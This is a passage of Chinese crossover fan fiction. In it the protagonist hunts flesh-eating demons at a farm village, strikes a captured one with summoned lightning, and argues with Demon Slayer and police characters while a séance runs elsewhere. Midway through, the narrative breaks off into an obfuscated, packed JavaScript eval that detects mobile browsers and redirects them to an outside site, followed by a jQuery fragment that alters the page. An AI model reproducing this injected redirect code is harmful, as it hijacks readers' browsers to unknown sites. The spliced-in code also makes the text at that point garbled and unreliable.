“我明白了,”织田作之助将手里的包放进屋内,转头问道,“什么时候开始?” “半小时后,您可以询问这里的工作人员,他们会带你到准备好的房间去,或者……”五十岚教授顿了顿,“或者您现在和我一起过去?” “那就走吧。” 五十岚教授被对方干净利落的配合行动弄的一时失语,又停了一下,才说,“……如果需要收集数据什么的话,是可以带设备过去的。” “降灵会,会召唤到死去的人的灵魂吗?”太宰治问道。 五十岚教授有些怵这名少年,她略拘谨的点了点头。 “怎么召唤?又是如何确定真的召唤来了呢?” “我的助手,铃木小姐是一位拥有通灵能力的灵媒,可以通过降灵会这样的仪式,招请灵依附在自己的身上。” “哦——”太宰治歪歪脑袋,“那么,又要如何确认,这位铃木小姐并没有说谎呢?” 五十岚教授:…… 被这样当面毫不留情的质疑,让她有点生气了,可是碍于少年的看起来并不大的年龄,和之前少年的行事风格,她并没有说出什么自辩或者回击的话,“如果怀有疑问的话,可以去现场看看。” “可以走了。”织田作之助收拾好了设备,带着走了过来。 太宰治笑着说,“那么,请务必让我见识一下。” 千寻已经收好了自己的宝贝电脑,背着走了过来。 五十岚教授带着三人往准备好的房间走去,路上不死心,又问了一下,“请问夏目先生是去哪里了呢?如果能联系到的话……” “他不会来的。” 这是千寻。 “夏目的话,应该已经离开这里了。” 这是织田作之助。 “你似乎对夏目格外关注呢,五十岚女士。” 这是跟在最后的太宰治。 五十岚教授默了默,又重复了一遍自己之前说过的话。 “夏目……原来是灵能力者吗?”织田作之助说道。 太宰治扫了一眼五十岚教授的背影,无趣的垂下了眼睫。 另一边,被惦记的夏楠,此时正脚步轻快的走在夜色笼罩的林间。月光透过树木间的空隙撒在地面上,照亮了他前进的道路。 自然的气息令人心情舒畅。 那栋房子里的空气污浊到让人难以忍受,待在里面实在煎熬。 还是外面好啊。 一条小路,大概是经常进山的人走出来的路。路的尽头是星星点点的灯光,那应该就是不死川实弥说过的,附近的农庄。说是农庄,看起来其实已经很有规模了。 夏楠对‘鬼’比较感兴趣。 按照原作的剧情线来看,所谓的鬼在百年前就应该已经被消灭了,虽然他还没看到结局。不过王道少年漫嘛,总是一个套路,主角小队一路过关斩将升级杀敌,最后战胜大boss,完结。 如果想出下一部,那就再弄一个boss。下下部,下下个boss,以此类推。 综上所述,现在发生的一切可能是鬼灭之刃二周目?毕竟连重点人物的名字都没改。 夏楠漫无边际的想着。 ‘鬼’这种生物,总感觉和自己所了解的一个存在,有点类似。 夏楠的脚程很快,明明没见跑动,步伐幅度也好,步速也好,都是很正常的水平,可莫名其妙的,几公里的路程,又是山路,他却只走了一两分钟。 一滴汗都没出,整个人清清爽爽。 农庄里很安静。 水泥铺就的路面,是很新的规划。路面宽度足够,房屋也不老旧,夏楠还看到了专供旅人居住的民宿。此时的时间并不算太晚,只是天黑的早,路上已经没有行人了。 当然,也有可能是—— 夏楠看到了电线杆上贴着的告示。 【注意!有野兽出没!】 紧跟着的,还有宵禁令。 夏楠左右看了看,原地站了一会儿,想了想,干脆抬手从路边树上折了一小根树枝。用指尖捏着树枝的尖尖,又轻轻松开。树枝垂直坠地,尾部划了个圈,倒向了一个方向。 夏楠的脚尖轻快旋转,步伐一变,顺着树枝倒落的方向走去。 家家闭户,人们因为宵禁令和最近几天频出的失踪与死亡事件而学会了乖巧,不再试图顶着宵禁的限制出门寻找刺激。 夏楠目不斜视的路过一户又一户民宅,终于,在一个便利店门口,他停了下来。 便利店的卷帘门半开着,里面是玻璃推拉门,一半的玻璃已经碎了一地,室内有阵阵悉悉索索的声音。 夏楠在门口站了一会儿,走了过去。 卷帘门似乎是坏了,卡在不上不下的位置。弯腰钻进去,里面黑漆漆的一片。 夏楠掏出了便携夜视摄像机。 口袋必备好物——便携夜视手持摄像机~ 他的嘴角微微翘着,打开了摄像机,开始录。 便利店里一片狼藉,几个货架倒在地上,上面的商品散的到处都是,最里面是冷藏冷冻专区,有微弱的光从那边透过来。自从夏楠进入便利店以后,悉悉索索的声音就消失了。 夏楠完全不掩饰自己的脚步声,漆黑的幻境似乎对他的视线没有造成任何形式的干扰,他并没有看摄像的实时画面,只是保持着举着摄像的动作,一步一步深入。 便利店并不大,他很快走到了最里面。冷冻的柜门是敞开的状态,里面的生鲜被翻的乱七八糟,地上掉落着冻的绑硬的不知名肉块,还有一大摊,大概是什么呕吐物的东西。 夏楠略过那摊呕吐物,看向别的地方。 一个身影闯进了夜视摄像的镜头,同样的,也闯进了夏楠的视野。 是个老人,一位年老的女性。头发花白,穿着居家的连衣裙,脊背有些微微佝偻。她缩在两个冰柜之间的缝隙里,用双手紧紧抱住自己,低垂着头,发出一阵又一阵的粗喘声。 呼哧——呼哧—— 呼哧——呼哧—— 夏楠就这样举着摄像,对准了她。他没有上前查看或者询问的意思,也没有离开的打算。 静谧的空间里,只有一个人的粗喘声,一下一下,一下一下。 那几乎不像一个人类能发出的声音,反倒像是——野兽。 两边就这样僵持了一会儿,大概算是僵持吧。 摄像自带的照明照亮了老者蜷缩的角落,她的脚边掉落了许多半化不化的肉块,夏楠不怎么看的出来那些肉属于什么品种。老人或许曾经精心打理的头发如今散乱如鸡/窝,干枯的发梢团成了毛燥的球,又炸出一根根发丝。材质柔软贴肤的居家连衣裙上沾了许多褐色的痕迹,夏楠闻到了淡淡的铁锈味。 呼哧——呼哧—— 安静的空间仿佛在无限放大这刻意压制却怎么也压不住的呼吸声。 一边不动,另一边,也依旧不动。 僵持还在继续。 外面的街道上传来了一阵脚步声,不大,但也没过多掩饰。 夏楠再次闻到了铁锈味,这次是新鲜的,来自卷帘门外。 脚步声停在了卷帘门外。 老者的呼吸也停住了。 夏楠扫了一眼门外,看到了不久前才见到过的制服的下摆。当他再看向老者时,这位女士终于肯把脸转过来了。 那是一张青筋暴起,眼窝突出,眼球不正常扩张,有着一口尖锐的牙的,正在流口水的,人脸。 老者的视线只在夏楠身上停留了非常微小的一刻,她的全部注意力,都被外面的人吸引了,没有刻意掩盖自己气息的夏楠在对方眼里宛若空气。 她的鼻翼不正常煽动着,肢体紧绷,明明是老迈的身躯,却呈现出异样的力量感。 气味? 血? 夏楠微微挪了半步,给老人冲向门外那人的直线通道让出了位置。 然而,先动的并不是老者。尽管她表现出的渴望近乎疯狂,抓着旁边冰柜边缘的手已经把边缘抓的碎裂——她依旧一动不动。 先动的是外面的人。 随着几道刀斩破空的细微声响落地,卡在中间的卷帘门咔拉啦的,破出了一个不规则矩形,有人从破口处走了进来。 “……是你?” 夏楠抬起一只手,冲着来人挥了挥,“好久不见,不死川。” 不死川实弥抓着已经出鞘的刀,视线从夏楠身上越过,落在了从他的视角看过去,只能看见半边身体的老者身上。 他露出了一个嗜血的笑,大步走了过来。 “你,往后退。” “不要碍事。” 夏楠很顺从的后退了两步。 老者呼哧呼哧的喘息声更重了,随着不死川实弥的接近,她的嘴角口水几乎泛滥。 “她好像很想吃你?” “哼,恶鬼。”不死川实弥已经走到了老者面前,他毫不犹豫的挥刀,速度极快。 夏楠得以在近距离围观了所谓的‘风之呼吸’使用起来究竟是什么样。 ——刀刃上的确带了一卷凌厉的风。 那风还有颜色。 夏楠露出了饶有兴趣的表情——这东西,要怎么用科学解释? 容他想一想。 老者表情狰狞的头颅掉落在地上,不一会儿,连同失去头颅的身体一起,化做了灰烬。 “你怎么在这儿?”不死川实弥的语气略带了点不耐烦,他砍完了老者,手中刀一挥,回过头看向夏楠,“我不是警告过你,晚上不要出来吗?” 夏楠收起摄像,他看了眼马上就要完全消失的老者的头颅——只剩一双眼睛了。 不久前还狰狞着爆着血丝的一双眼睛,如今装满了释然与—— “你看,她在感谢你。” 不死川实弥的动作一顿,紧接着,嗤了一声,“回答我的问题,你为什么会在这?” “好奇,”夏楠说道,“那就是鬼?” “她没有袭击你。” “她不是也没有袭击你吗?”夏楠看了眼不死川实弥手上的伤口,“我进来的时候,她连看都不看我,倒是你接近的时候,”夏楠弯腰凑近对方的手,“你接近的时候,她好像一下就激动起来了。” 不死川实弥被突然凑近的夏楠吓了一跳,他别开了自己受伤的手,“是稀血,对鬼来说,拥有稀血的人……” “是最香甜的那块?” 不死川实弥:…… “如果我没猜错,你应该有自保的 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在吉川惠子的描述中,夏目先生是一个英明帅气实力强悍既冷漠又温暖既可靠又小孩子气的神奇人物。 说实话,在见到夏楠之前,不死川实弥只认为吉川惠子是被那个怨灵追了十年追傻了脑子不清楚,但在见过夏楠之后…… 只有‘烦’字。 一个打扰他斩杀恶鬼的不长眼的家伙。 反正这家伙肯定有能力自保,自己也不可能留着当他的保姆。 不死川实弥果断终结对话,开始往外走。 夏楠的声音再次响起,“原来你也不知道。” 不死川实弥:…… 他忍了一下,还是没忍住,“我知不知道不重要,只要把它们全都钓出来,再全都砍了就行。” 好没效率的做法。 夏楠心里评价道,但表面上,他只是笑着说,“那你加油~” 啊,老子最烦和这种人打交道。 不死川实弥噎了一下,加快脚步,走了。 夏楠重新转向了老者消失的地方。 那些肉,每一块上面,几乎都有撕咬过的痕迹。 ——发现自己有想要吃人的冲动以后,努力抑制了这种冲动,并来到这里,想要用生肉代替。 ——不在自己家里尝试,或许是因为,不想伤害家人。 可惜没用。 结合不死川实弥的说法。 ——事情的确是最近发生的。 动画里,将人变成鬼的唯一途径是摄入鬼舞辻无惨的血。 千寻提起过,产屋敷家族的‘老妖怪’——鬼舞辻无惨应该是凉透了的。 这已经算是非日常范畴了吧,特殊事件。 夏楠摸了摸下巴,掏出了手机。 卖个人情给警视厅、军警和异能特务科也不错。 “喂?种田先生……” 通话很快结束。夏楠重新收起手机,开始思考如何打发时间。那个臭烘烘的房子他不是很愿意回去,在这里等警视厅、异能特务科和军警的人来……也不知道什么时候才到。 鬼不能见阳光,只能在晚上活动。 好像有这么个设定来着。 夏楠的视线看向了倒了一地的货架。 “……哦!” —————— 接到紧急任务的坂口安吾在赶往目的地的半路上遇到了公安的车辆,紧接着,在快要到达目的地的时候,又遇到了从另一条路飞驰而来的军警的车辆。 坂口安吾:…… 虽然在来之前就被长官提醒过这次的情报来源是个难搞的家伙,但他是真没想到,这个难搞的家伙居然不仅仅只通知了异能特务科。他在开到附近停车以后,立刻给种田山头火去了一通电话。 另一边,松田阵平推开车门,从车上走了下来。他也拿起了电话,但是是打给夏楠的。 “夏目,你人在哪?” “嗯?居然是你?” “什么叫居然是我。”旁边的车辆上下来一位一脸班味的年轻人,松田阵平冲着队友使了个眼色,对方会意,立刻走过去攀谈。 松田阵平继续和夏楠说话,“……我调岗了,还是托你的福。” 队友一脸莫名的和带着眼镜的年轻人一起走了过来。 这时,另一辆车上下来的眯眯眼的家伙和一位干练的女性也向着这边靠了过来。 眼镜男一看就是个文职工作者,另一边的两人,军服,军警的人? 松田阵平:…… 他看出来了,夏目那家伙不仅仅通知了警视厅。 “你们都到了么?” 松田阵平压下吐槽的话,开口,“到了,你在哪?”你说的那个什么鬼,又在哪? “在最亮的地方。” 电话挂断了。 “最亮的地方?”明明打电话的是松田,眯眯眼的男性却仿佛亲耳听到了夏目说的话一样,“原来如此,鬼畏惧阳光,他要人为制造阳光?” “没用的,”眼镜男开口,“人造日光只能减缓它们的恢复速度,无法彻底杀死它们。” “哦?”粉发眯眯眼看向说话的人,“异能特务科?你们对这种生物也有研究?” 松田阵平默默听着两人的对话,目光四下搜寻。 最亮的地方…… 就在这时,一道白光突然从天上劈了下来,落点就在不远处,还不等松田阵平反应,天空后知后觉响起一道雷声,轰隆隆的声音从头顶划过。 “最亮的地方……”松田阵平默念。 ……不会吧? 理智还在质疑,但脚步已经动了起来。三方被夏楠电话招来的人马几乎同时动作,向着雷劈下的方向跑去。 那是一处小空地,空地当中有一颗树,可怜的树还没来得及长大就被劈成了漆黑的样子。 树上绑了个人形的物体,不远处的屋顶上,一个满脸凶恶的拿着刀的家伙正恶狠狠的盯着树旁边的青年。 而青年,手里举着充电式紫外线照射灯,正对准了树干上的人形物体。 松田阵平听到了夏楠的声音。 “自然的伟力,再加上紫外线杀毒,也不行啊。” 20.二十 焦黑的树干上绑着的人形同样焦黑,乱炸的头发显得他整个人脑袋大了三圈。 夏楠提着紫外线灯的手又往前伸了一点,他微微歪着头观察焦黑人形的反应——雷劈不死,还能缓慢自愈。 虽然召请的雷威力不大,只小小一束,但那也是雷。 这都不死,难道不是邪物? 不应该啊,气息明明就近活死人,怎么会不是呢,而且眼前这位和之前那位老者不同,是已经害过人的。 怎么看都不像是能熬过雷劈的样子。 在这个国度,有关雷的寓意和联想,大多数都与惩戒,天罚有关,不存在渡劫之类的解释。他召的又是火雷,虽然术法在他国有些水土不服,但也不存在劈错的可能性。 嗯…… 再看看。 “我说你啊!” 听到动静赶过来的不死川实弥从屋顶上跳了下,气势汹汹的向着走了过来。 恶狠狠的声音,“你这家伙,我有说过的吧,如果让我在其它地方看见你……” 兴师问罪的不死川实弥被人拦住了。 是松田阵平。 “这位先生,请你放下武器。” “哈?!”不死川实弥盯着松田阵平,“你又是从哪冒出来的?” “嘛——嘛——”粉发眯眯眼走到了两人中间,拦住了两人之间噼里啪啦的火花,“这位警官,还有这位鬼杀队的先生,我想,现在不是内讧的时候。” 不死川实弥扫了一圈,多出来的人一个个的,全是生面孔,他倒是认识军警的制服,但其它人穿的全是便装,“……你们又是什么人?” “是我请来的帮手。” “……哈?!” “因为判断情况比较特殊,所以请了一些帮手。” 夏楠关了没什么用的紫外线灯,焦黑人形恢复的速度肉眼可见的变快了些——看来紫外线是有用的,只是作用有限。 “不死川先生,请问,”夏楠的目光依旧聚焦在焦黑人形身上,“鬼杀队知道罪魁祸首是谁么?” 不死川实弥被问住了:…… “你问这些做什么?” “看来是不知道。” 焦黑人形身上那一层碳化的部分开始脱落,新长出的皮肉组织在脱落后的体表显露出来。 恢复速度称的上一句快。 夏楠后退两步,“那么,鬼杀队知道这些人为什么会变成这样么?” 不死川实弥再次被问住。 “……与你无关,斩杀恶鬼,是鬼杀队的使命。” “嗯,”夏楠终于看向了他,“但生存,是人的本能,这些潜在的威胁已经影响到了其他人的生命安全,而我是……挺多部门的安全顾问,既然遇到了,总不能放任不管。” 其实只是单纯无聊,加上一点点好奇。 “他在几天前,应该还只是个普通人,”夏楠示意了一下已经重新恢复呼吸的人形,“在明确本国公民已经受害的前提下,这件事,就不仅仅是鬼杀队一个组织的问题了。” “不过……听起来你们并不打算和其它机构合作?” 不死川实弥三度沉默。 粉发眯眯眼适时解围,“鬼杀队的话,我记得,是和政府有协议,”他摊了下手,“如果没记错的话。” 坂口安吾推了下眼镜,“根据记载,在百年前,所谓的恶鬼的始祖就已经被鬼杀队剿灭,留存的恶鬼并没有将正常人转变成恶鬼的能力,而且在百年的围追堵截之下,世间是否还存在所谓的恶鬼,这件事本身就是存疑的。” 松田正平补了一句,“一周前,东京也出现了一起‘野兽食人’案件。” 不明生物的齿痕,消失的人,以及事件发生的地点——一栋公寓的高层——一个怎么想都不可能出现能够袭击并致人死地的野兽的地方。警视厅怀疑这起事件属于异常案件,于是将案件移交给了他们部门。但是线索实在太少,而且当晚公寓及附近的监控集体出现故障,什么都没拍下来,由于案发时间太晚,又没有目击证人,调查一时陷入僵局。 唯一可以肯定的是,事件中必然存在第三方势力。 夏楠的消息可以说是给他们送来了破案的关键线索。 鬼。 在此之前,松田阵平对鬼的理解就是阿飘,没想到居然还有这种……真的不是什么人体实验吗? 或许高层知道一些内情。 松田阵平想起了出发前上级的指示——无论如何,争取参与调查。 这也是为什么会派还是新人的他来,毕竟他和夏目曾经有过合作,且关系能称得上一句不错。 松田阵平看向皱着眉头的不死川实弥。 ——鬼杀队。 又是一个他从前从来没有听说过的组织。 ——……这个世界真的没问题吗? 短短一个月不到,已经经历过多次世界观洗礼的松田阵平内心默默叹气。 又是灵体,又是咒怨,又是妖怪,现在还多出一个吃人的鬼。 …… “问题有三个,”眼见不死川实弥不再说话,夏楠继续开口,“一,是谁做的?二,为什么这么做?三,如何做的?” “或许,不死川先生可以为我们解惑?” 不死川实弥:…… 他忽然摸了摸口袋,掏出手机,看了眼时间。 “……等天亮以后。” “嗯?” “……” 不死川实弥臭着脸,他不是讲不通道理的人,只是类似的事件才发生没多久,鬼杀队内部还没真正确认情况,因此也没有急着向外界说明。 他语气生硬的说,“这个时间,主公已经在休息了,等天亮。” 这不是仅仅凭他自己就能决定的事,一切还得先告知主公,由主公定夺。 现场诸位打工人:…… 大哥,现在才几点,你家主公是天黑就睡日上三竿才起吗? 一个电话喊起来啊! 身为社长的夏楠倒是接受良好,“这样,那就再等等。” 他再次转向已经恢复的七七/八八的鬼,衣不蔽体的样子,毕竟被雷劈过。在场都是男性,倒也没什么不方便的。 是个挺年轻的人。 年轻人在呻吟——看来变成鬼以后痛觉依旧还在,这一点也不像是活死人。 “能够杀死他们的方式只有砍掉脑袋这一个途径吗?” “必须是特制的武器,”粉发眯眯眼走到了夏楠身边,“这位,探灵社的社长先生,您在电话里提到的,有重要信息,就是……”他扫了眼那边被胶带黏在树上的青年,“……不会就是他吧?” “嗯?”夏楠看了他一眼,“他只是一部分,”他说道,“细说特制武器?” “一种产量极其稀少的矿石打造的武器,我记得是叫……” “猩猩绯铁矿。”坂口安吾也凑了过来。 “他是一部分,那另一部分呢?” “另一部分,我刚刚不是说了么?”夏楠看向他们,脸上带了点疑问出来,“一个不知名的幕后黑手,目的成迷。以及一个不知道传播途径的,会使人异化的……病毒?” “这难道还不够引起你们的重视么?” 夏楠伸出手,指了指鬼青年,“特殊事件,”又划拉了一下在场的正常人们,“解决特殊事件的人。” 他收回手,笑了笑,“还有别的问题么?” 坂口安吾不说话了,其实他只是见军警的人凑过来,以为有什么他不知道的场外信息,所以干脆也凑上来递个话。 粉发眯眯眼微微向着夏楠的方向侧身,“是么?”略微压低了声音,“说起来,社长先生一直很平静呢,心跳平稳到完全没有一丝变动,我还是第一次听到这样的心跳声。” 听? 松田阵平看了一眼粉发眯眯眼。 这家伙,该不会眼睛…… “嗯?”夏楠歪了歪脑袋,“你连心跳都能听清楚?” “只是听觉比较好。” “那他的呢?” 粉发眯眯眼没有得到想要的情绪反馈,他恢复了正常站姿,“社长说的是那个散发着烤焦气味的家伙?” “是哦。” 夏楠说道。 “心跳很快。” “他是人么?” 粉发眯眯眼挑了挑眉,“如果排除气味的话……是。” 是人。 夏楠的视线划过粉发青年的眯着的眼睛,接着看向了被判定为人的鬼青年——他已经完全恢复了。 “为什么这么问?” “是人的话,就可以以人的标准来要求他了。” 夏楠说着,看向松田阵平,“松田警官,杀/人并食/人,会面临哪些指控?” 松田阵平看向那个被判定为鬼的青年。 杀/人? 食/人? 他沉默了一下,接着说道,“故意杀/人,侮/辱、毁坏尸/体,危害公共安全,至少有这三项,具体的情况,还要看案件细节。” “嗯,”夏楠点了点头,他又看向沉默站在一边,只是表情一直臭臭的不死川实弥,“不死川先生,在你的眼里,他是什么?” “……哈?!”不死川被点名,一脸莫名其妙,“恶鬼,还能是什么?” “不是人类?” “我说过,在他变成恶鬼的那一刻,他就已经不是人了。” 夏楠笑了,他看向戴眼镜的青年,“请问这位异能特务科的先生……” “坂口安吾,我的名字。”眼镜青年推了一下眼镜。 夏楠:…… 谁? 这回,他仔细打量了一下自称坂口安吾的青年。 嗯…… 坂口安吾被盯的有些发毛,他清了清嗓子,“夏目先生?” “哦……”夏楠缓缓眨了下眼,“问一下,非人类犯下杀/人与食/人罪以后,会有什么样的指控。” 坂口安吾再次推眼镜,“抱歉,据我所知,异能特务科内并没有您所询问的程序。” 顿了顿,他补充道,“但我们可以有。” “军警的主张是灭杀哦,”粉发眯眯眼说道,“顺带一提,条野采菊,我的名字。” “……松田阵平,”跟队形趁机做了自我介绍的松田阵平说道,“警视厅这边也一样,恶性事件的罪魁祸首,如果可以,就地灭杀。” 松田阵平的队友和与条野采菊一起来的渡边女士也都做了自我介绍。 一阵安静。 不死川实弥在众人或直接或隐晦的注视下,啧了一声,“不死川实弥,”他举步向着那个垂着脑袋已经恢复了的鬼青年走去,“我说,你们问也问够了,看也已经看够了吧。” 说话间,来到微微垂着头盯着地面不说话的鬼青年面前的不死川实弥手中的刀抬起,紧接着不假思索的一挥。 一声清脆的金属碰撞声。 是渡边女士,她用一柄短刀,架住了不死川实弥的刀。 “请稍等。” 不死川实弥哼笑一声,“等什么等。” 原本只是随意一挥的力气猛的加大,渡边女士眉头皱起。 不是她能抗衡的力量。 渡边女士迅速做出了判断,并立即侧身。几乎在她侧身的瞬间,手中的短刀咔的一声断裂,不死川实弥的刀带着一阵青色的风,擦过她站立的位置,直直砍向了那个一直在装死的鬼青年。 ——面对恶鬼,唯有死,才是对他们最大的善意。 千钧一发之际,鬼青年忽然猛的歪过身体,身上缠绕的胶带虽然抗过了雷劈,但高温还是熔了一部分,已经不能起到多大的束缚作用。他成功躲开了,凌厉的刀斩断了他小半边身体,却并没有砍断他的脖子。 “啊!!!!” 凄厉的哀嚎声响起,下一秒,哀嚎戛然而止。 有人一把掐住了鬼青年的脖子——是条野采菊,他用了巧劲,鬼青年余下的哀嚎全都被他圈在了喉咙里。 “请不要扰民。” “让开。” 不死川实弥看着站在他面前,将他和鬼青年隔开的条野采菊。 “这位不死川先生,你知道自己在做什么么?”条野采菊面对几乎称得上一句凶神恶煞的不死川实弥,表现的很平静,“你是想灭口么?” “你在说什么#话,”不死川实弥扯出一个恶人笑,“把自己的手递到鬼的嘴边,是怕他下嘴太废力气吗?” 条野彩菊一愣。 几乎是在不死川实弥话音刚落的瞬间,被条野采菊制住的鬼青年忽然暴起,一下挣脱开了反应不及的条野采菊的控制,并顺手拉住了距离他不远的渡边女士的胳膊,将人一把勒住,往旁边蹿了一段距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633730|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 松田阵平反应极快的拔枪,迅速对着鬼青年的腿来了一击。 鬼青年踉跄一下。 被控制的渡边女士趁机想要摆脱,奈何鬼青年的力气大的可怕,她此次执行任务并没有带枪,唯一的武器刚刚又已经报废…… “都……都不许动!” 鬼青年惊惶的调整姿势,勒着渡边女士,怕被偷袭,开始正对着众人,倒退着往后走。 “不许动!不许过来!不然我弄死她!” 条野采菊:…… 变故发生在瞬息之间,不死川实弥嗤笑一声,绕过条野采菊,“我早就警告过你们。” “放开人质!” 这是松田阵平和他的队友,两人一左一右缓缓散开,寻找着最佳射击和营救位置。 “省省吧,你们手里那玩意,最多给他挠挠痒痒。” “什么挠挠痒痒,很疼的好吗!”那边的鬼青年闻言忽然破防,“很疼啊!你们这是滥用私刑,我要找律师,我要告你们!” 夏楠:…… 他叹了口气。 单手并双指,夏楠比了个剑印,口中轻轻吐出一个字,“禁。” 原本挣扎半天因为鬼青年力气太大而宣告失败的渡边女士感觉勒在脖颈上的力道一松,她没有耽误,立刻动了起来。 鬼青年原本还在控诉,眼前忽然天旋地转,等回过神来时,已经被按在了地上。他试图挣扎,发现没有用——变异带来的大力buff又不见了。 是的,又。 夏楠抓他的时候也用的这一招来的。 松田阵平与队友已经上前帮忙压制。 正在往过走的不死川实弥脚步一顿,他回过头看向夏楠,“你做了什么?” “稍等,”夏楠已经将手放下了,“我现在还没想好这一类事应该怎么样用科学的方式来解释,所以请稍等。” 不死川实弥:…… 什么乱七八糟的? 算了。 先把这只鬼…… “夏目先生应该有什么打算吧,毕竟已经恐吓了他半天了。”柔弱的文职人员,坂口安吾并没有参与战斗环节,但他多少猜到了一点什么,因此,在看到不死川实弥一副打算直接砍了鬼的样子,干脆出声点破。 而且,他也不希望这只姑且算是落在明面上的鬼,就这样草草退场。 坂口安吾看了眼不死川实弥——总觉得这位鬼杀队的柱做事有些刻意,是错觉么? “确实有。” 夏楠说道,“我在想,物尽其用。” 他走上前,“所以,还请不死川先生,暂时手下留情。” 夏楠笑着看向不死川实弥,“这里还有别的鬼吧,不死川先生可以先去忙。” 不死川实弥不说话,他看着夏楠,像是在评估什么。 “是不相信我们么?”夏楠说道,“我来猜猜看,鬼杀队或许有这样的推测……”他原地转了半圈,微微张开双臂,“有人,或者组织,得到了一些恶鬼的信息,并,正在进行一些不怎么友好的研究。” 夏楠示意了一下那边已经被带上手铐的鬼青年,“他,是那个幕后的人,或者组织的阶段性成果,而你无法确定,我们与那些幕后的罪魁祸首是否有关。” “以防万一,在去解决其他的鬼之前,你必须先处理了他,以避免他落入很可能存在的‘罪魁祸首的同伴’手中。” 夏楠看向不死川实弥的眼睛,“你是这么想的,对么?” 不死川实弥:…… 全中。 这人的脑子怎么长的? “你管我怎么想。” 夏楠笑了笑,并不在意对方的态度,“人们在预设他人立场的时候,似乎总是会忘记一件事,那就是……” “他人也会预设你的立场,”松田阵平已经收了枪,他押着暂时失去了大力加成的鬼青年,接话道,“这位不死川先生,鉴于你的所作所为,我有理由怀疑你,以及鬼杀队,正在监守自盗。” 不死川实弥:“……哈?!” 仿佛受到了莫大的侮辱,他瞪向松田阵平,“你这家伙,你敢再说一遍吗?!” “说实话,我也有点怀疑,不死川先生。”坂口安吾盯着不死川实弥的瞪视开口。 刚刚询问完渡边女士的情况的条野采菊也跟了一句,“还有我。” 不死川实弥:…… 被瞪了的夏楠无辜摊手,“就是这样。” 他笑眯眯的说道,“对于眼下这个情况,我有一个提议。” —————— “请您感应一下,戴维斯博士,这是她的隐形眼镜,她不会不带眼镜就出门的,”五十岚教授哀求的看着眼前的外国人,“请您,请求您。” 西方面孔的‘戴维斯博士’一动不动,仿佛没听懂。南丽明在他旁边,凑近了对方的耳朵,仿佛在翻译。 “都说了他是假的了。” 一道声音插了进来,“你找他能有什么用?” 清晨,会客厅内,几乎聚集了所有被委托人召集前来调查的人,代理人大桥脸上带了点愁容,正在一旁和宅子里的工作人员们说着什么。 千寻背着自己的电脑包,站在不远处,“与其找他,不如去找……” “K君!”五十岚教授看到了千寻,眼睛一亮,“请问夏目社长回来了吗?” 随口起了代号根本没指望别人认真叫的千寻被这一声饱含情感的K君给喊的失声片刻,“社长他……” “夏目先生回来了。” 代理人大桥的声音忽然响起。 有脚步声从外面的走廊传来,听起来不止一个人的。 刚刚被通知了这件事的代理人大桥来到会客厅的大门边,伸手推开了门。 一行人。 以夏目为首,一行人,鱼贯走了进来。 阵仗略大,看的会客厅内诸人都是一愣。 千寻也愣,半晌,回过神来,“你……你怎么出去一趟……” 他的视线飘向了不死川实弥肩上扛着的一个被裹的严严实实但是明显能看出人形的布包,那布,看起来像是专门从哪里顺来的遮光窗帘。 就在他正要询问的时候,又有一个人快步走进了会客厅。 那人一眼就看到了夏楠。 “夏目,”是织田作之助,“太宰不见了。” 21.二十一 昨夜。 降灵会所需要的房间不能太大,在仪式期间,不能出声,房间内也禁止开灯,唯一的光源,只有房间中央的桌子上那根燃烧的蜡烛。 织田作之助坐在桌边,和身旁的两人手牵着手,在五十岚教授的指引下,闭上了眼睛。 “……居住在这里的人啊,请借助这位女性的手,诉说你的心声……” “……请向我们倾诉,如果,你能听到我的声音……” “……请向我们倾诉……” 随着五十岚教授轻柔的,一声又一声的邀请,紧闭着房门,且并没有窗户的房间内,原本安静燃烧着的烛火,忽然抖动了一下。 太宰治与千寻各站了一个角落,肉眼可见的关系欠佳,中间隔着涉谷心灵现象调查事务所的诸人。千寻的手里举着夜视摄像机,在这样的氛围下,一只手不自觉的抓住了背包的背带。太宰治则是靠着墙壁,没什么表情的样子,眼睛直勾勾的盯着抖动的烛火。 忽然,身位灵媒的原真砂子突然抬头看向了房间半空。 铃木小姐动了起来。 她紧闭着双眼,手中抓着记号笔,开始在面前早就准备好的一沓空白纸张上书写。安静的空间里,记号笔划过纸面的生涩声音不停响起。 围坐在桌子周围的人都被这动静吸引,睁开了眼。 织田作之助同样看了过去。 他的动态视力十分好,尽管铃木小姐书写的速度很快,一张又一张纸被不间断丢开,仿佛真的有很多灵在借助她的手,诉说什么。 ——救救我! 每一张,都是如此。 救救我,救救我,救救我…… 房间忽然开始震动,地面,墙壁,天花板……房顶的吊灯开始来回晃动——震动的幅度越来越大。 “……地震?” 太宰治瞥了一眼不知道什么时候已经凑到自己身边的千寻,张开嘴,刚要说话…… 砰! 砰!砰!砰! 如同被什么存在大力敲击一样,无论是墙壁、地面、还是天花板,都在响起同样的声音。 砰!砰!砰! 千寻的嘴唇都白了。 桌边的南丽明被吓的从椅子上胡乱站了起来,织田作之助四处看了看。 ——很多人。 这里死过很多人。 铃木小姐的动作还在继续,被其他人称为‘鬼音’的动静也在持续加大。 就在这时,滝川法生双手结印,字字有力的念了一段梵文。嘴唇发白的千寻还记得将摄像机的镜头对准他拍,虽然手在抖。 ‘鬼音’停止了,似乎是滝川法生的咒文起了作用。 灯亮了。 “……” 灯一亮,所有人都看到了。明明之前还什么都没有的墙面上,密密麻麻的写满了——救救我。 救救我救救我救救我救救我…… “……这是什么精神污染吗?”千寻找回了自己的声音。 太宰治面朝着墙面,手指在其中一道明显和其它的都不一样的字迹上划过。 鲜红的颜色。 ——我不想死。 千寻发现了异样,将镜头转了过来。 “……难道不是同一个人?”明明其它的都是黑色的‘不想死’。 太宰治再次瞥了他一眼,“你很害怕?” “……谁说我……” 不等千寻嘴硬完,太宰治又走到一边,从地面上捡起被铃木小姐丢到地上的纸当中的一张。在场已经有其他人也发现了同样的异常。 那用红色书写的,只有它用红色书写的——我不想死。 “原来如此。” 太宰治松开手指,任由纸张掉落在地上。 